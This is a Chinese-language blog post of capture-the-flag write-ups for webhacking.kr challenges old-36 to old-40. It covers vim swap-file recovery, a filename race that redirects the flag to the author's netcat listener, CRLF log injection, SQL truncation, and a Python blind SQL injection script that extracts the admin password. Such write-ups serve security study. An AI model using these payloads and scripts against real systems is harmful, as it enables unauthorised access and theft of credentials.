webhacking.kr 一天五題系列 VIII

Albert Huang MED student | CS enthusiast

old-36

本題考點:vim 存檔 .swp 檔案

題目如下所示:

1
2
While editing index.php file using vi editor in the current directory, a power outage caused the source code to disappear.
Please help me recover.

他說他在使用 vi 時因為電源中斷退出了,因此目錄中應該會存在 .<filename>.swp 檔案,試了一下果然下載到檔案了, strings 一下就可以找到 flag

old-37

本題考點:檔名覆蓋、Race Condition、SSRF、GCP 公網接收請求

題目給了一個上傳檔案的地方,看一下 source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 37</title>
</head>
<body>
<?php
$db = dbconnect();
$query = "select flag from challenge where idx=37";
$flag = mysqli_fetch_array(mysqli_query($db,$query))['flag'];
$time = time();

$p = fopen("./tmp/tmp-{$time}","w");
fwrite($p,"127.0.0.1");
fclose($p);

$file_nm = $_FILES['upfile']['name'];
$file_nm = str_replace("<","",$file_nm);
$file_nm = str_replace(">","",$file_nm);
$file_nm = str_replace(".","",$file_nm);
$file_nm = str_replace("/","",$file_nm);
$file_nm = str_replace(" ","",$file_nm);

if($file_nm){
$p = fopen("./tmp/{$file_nm}","w");
fwrite($p,$_SERVER['REMOTE_ADDR']);
fclose($p);
}

echo "<pre>";
$dirList = scandir("./tmp");
for($i=0;$i<=count($dirList);$i++){
echo "{$dirList[$i]}\n";
}
echo "</pre>";

$host = file_get_contents("tmp/tmp-{$time}");

$request = "GET /?{$flag} HTTP/1.0\r\n";
$request .= "Host: {$host}\r\n";
$request .= "\r\n";

$socket = fsockopen($host,7777,$errstr,$errno,1);
fputs($socket,$request);
fclose($socket);

if(count($dirList) > 20) system("rm -rf ./tmp/*");
?>
<form method=post enctype="multipart/form-data" action=index.php>
<input type=file name=upfile><input type=submit>
</form>
<a href=./?view_source=1>view-source</a>
</body>
</html>

首先系統會創建一個 tmp-{$time} 檔案,並且寫入 127.0.0.1,接著看你上傳的文件,把 filename 的 <>./ 五種字元移除後,在裡面寫入目前的 IP,並且最後會抓取tmp-{$time} 檔案,把 flag 送到那個檔案的 GET 參數中。

因此想法就是,把自己上傳的檔案叫做 tmp-{$time},就可以冒充成原本的檔案來收 flag。

用 Python 實作上傳檔案,並且使用 GCP 執行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import time
import os

os.system("nc -nlvp 7777 &") # open listener in background

for i in range(3): # ensure the time is ok
filename = f'tmp-{int(time.time()+i)}'
with open(filename, "wb") as f:
f.write(b'nothing important')

cookie = {"PHPSESSID": "p2ls7us8hd4eh5u81hkvuq7j8c"}
upload_file = {'upfile': open(filename, "rb")}
r = requests.post('https://webhacking.kr/challenge/web-18/', files=upload_file, cookies=cookie)

執行後即可拿到 flag。

old-38

本題考點:CRLF Injection in Flat-file Logging

題目給了一個登入頁面,但直接輸入 admin 會顯示 you are not admin,我們來看一下 source code,看到下面這一行:

1
<!-- <a href=admin.php>admin page</a> -->

admin.php 看一下會發現它將 <my_ip>:<login> 拼接,但我們不能直接打 admin 到登入裡,不過它的紀錄是一行一行記,所以如果我們換行到下一行就不受這個限制了,稱為 CRLF Injection。

可以用 BurpSuite 完成:

1
2
id=M3t30r\r\n
<my_ip>:admin

或者直接把 input 改為 textarea 也可以有同樣的效果,比較方便。

old-39

本題考點:字串截斷繞過、SQL 尾部空白忽略利用

題目給了一個輸入頁面,來看一下 source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Chellenge 39</title>
</head>
<body>
<?php
$db = dbconnect();
if($_POST['id']){
$_POST['id'] = str_replace("\\","",$_POST['id']);
$_POST['id'] = str_replace("'","''",$_POST['id']);
$_POST['id'] = substr($_POST['id'],0,15);
$result = mysqli_fetch_array(mysqli_query($db,"select 1 from member where length(id)<14 and id='{$_POST['id']}"));
if($result[0] == 1){
solve(39);
}
}
?>
<form method=post action=index.php>
<input type=text name=id maxlength=15 size=30>
<input type=submit>
</form>
<a href=?view_source=1>view-source</a>
</body>
</html>

可以發現它的查詢 id 缺少了一個 ' 閉合,因此預設情況下會查詢失敗,而我們自己加入 ' 則會被取代為 '',但可以發現它後面做了一次字串切割,長度 15 之後的字串會被刪除,因此我們可以在第 15 位加入 ',這樣就算被取代為 '' 還是可以利用字串切割來繞過。此外 MySQL 預設會忽略尾隨空格,因此可以利用空白補足。

構造以下表達式:

1
select 1 from member where length(id)<14 and id='admin         '

old-40

本題考點:SQLi WAF 繞過

題目給了一個登入頁面,正常登入會顯示 Success - guest,來嘗試一下在 no 欄位注入 SQL expression:

1
2
1&&2=2#:Success - guest
1&&1=2#:Failure

因此可以嘗試用注入來拿到資料庫的內容。

再嘗試用 -1||id='admin'# 但失敗了,用 16 進位版本的 -1||id=0x61646d696e# 則成功拿到一個可以輸入 admin 密碼的地方,因此嘗試用這個方式來進行密碼破解。

使用 Python 實作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import string

def get_length(exp):
length = 0
while True:
payload = f"LENGTH(({exp}))={length}"
params = {'no': f'-1||(id=0x61646d696e&&{payload})#', 'id': 'guest', 'pw': 'guest'}
r = requests.get('https://webhacking.kr/challenge/web-29/', params=params)
if 'admin password' in r.text:
return length
length += 1

def get_password(exp, length):
password = ''
for i in range(1, length+1):
for char in string.printable:
payload = f"SUBSTR(({exp}),{i},1)={hex(ord(char))}"
params = {'no': f'-1||(id=0x61646d696e&&{payload})#', 'id': 'guest', 'pw': 'guest'}
r = requests.get('https://webhacking.kr/challenge/web-29/', params=params)
if 'admin password' in r.text:
password += char
print(password)
break
return password

password_length = get_length('pw')
password = get_password('pw', password_length)

拿到 password 之後輸入 admin password 頁面即可。

  • Title: webhacking.kr 一天五題系列 VIII
  • Author: Albert Huang
  • Created at : 2026-06-23 16:09:02
  • Updated at : 2026-06-26 14:08:16
  • Link: https://blog.albert-web.tw/2026/06/23/webhacking-writeup-8/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
webhacking.kr 一天五題系列 VIII